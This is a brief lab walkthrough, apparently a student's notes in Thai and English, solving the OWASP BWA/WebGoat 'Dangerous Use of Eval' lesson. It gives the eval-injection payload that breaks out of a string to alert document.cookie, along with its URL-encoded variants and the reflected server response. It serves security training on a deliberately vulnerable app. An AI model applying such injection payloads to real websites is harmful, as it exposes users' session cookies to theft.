OwaspBWA - Dangerous Use of Eval

AJAX Security - Dangerous Use of Eval

In order to pass this lesson, you must 'alert()' document.cookie.
ตามโจทย์กล่าวไว้ว่า  : ถ้าจะผ่านบทเรียนนี้ได้คุณต้อง alert() dcument.cookie ออกมาให้ได้

• เปิด Webscarab > Intercept responses  จะพบกับ

alert('Purchase completed successfully with credit card "4128 3214 0002 1999" and access code "123" ');

• แก้ไขเป็น  123');alert(document.cookie+' hacked

แล้วนำไปเข้ารหัสด้วยฟังชั่น encodeURIComponent() ที่ http://yehg.net/encoding
จะได้ : 123')%3Balert(document.cookie%2B'%20hacked 

หรือ URLEncdoing ใน Hackbar (Add-on Firefox)
จะได้ : 123%27%29%3Balert%28document.cookie%2b%27%20hacked

• นำไปใส่ช่อง Enter your three digit access code :

สังเกตุใน Webscarab จะได้ข้อมูลที่ตอบกลับมาดังนี้
alert('Whoops: You entered an incorrect access code of "123');alert(document.cookie+' hacked" ');


และทำการ alert document.cookies ออกมาสำเร็จ เป็นอันจบพิธี
* Congratulations. You have successfully completed this lesson.